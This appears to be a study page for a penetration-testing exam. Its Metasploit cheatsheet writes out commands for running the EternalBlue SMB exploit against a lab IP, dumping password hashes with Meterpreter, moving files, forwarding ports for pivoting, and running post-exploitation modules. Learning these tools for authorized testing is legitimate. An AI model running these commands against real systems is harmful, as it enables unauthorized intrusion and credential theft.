Metasploit Framework
Exploitation
Overview
Using Metasploit for exploitation, post-exploitation, and pivoting.
1
Exercises
1
Flashcards
1
Mind Maps
Cheatsheet
Basic Usage
msfconsole # Start Metasploit Framework search type:exploit name:smb # Search for SMB exploits use exploit/windows/smb/ms17_010_eternalblue # Select EternalBlue exploit set RHOSTS 10.10.10.5 # Set target IP set LHOST tun0 # Set listener interface exploit # Run the exploit
Meterpreter
getuid # Show current user context sysinfo # Show system information hashdump # Dump password hashes upload/download # Transfer files portfwd add -l 8080 -p 80 -r 10.10.10.6 # Forward local port 8080 to remote 80
Post Modules
run post/windows/gather/enum_logged_on_users # Enumerate logged on users run post/multi/recon/local_exploit_suggester # Suggest local exploits
Command Examples
Common Pitfalls
- Over-reliance on Metasploit
- Not understanding what exploits do
Exam Survival Tips
- Know manual methods too
- Use for pivoting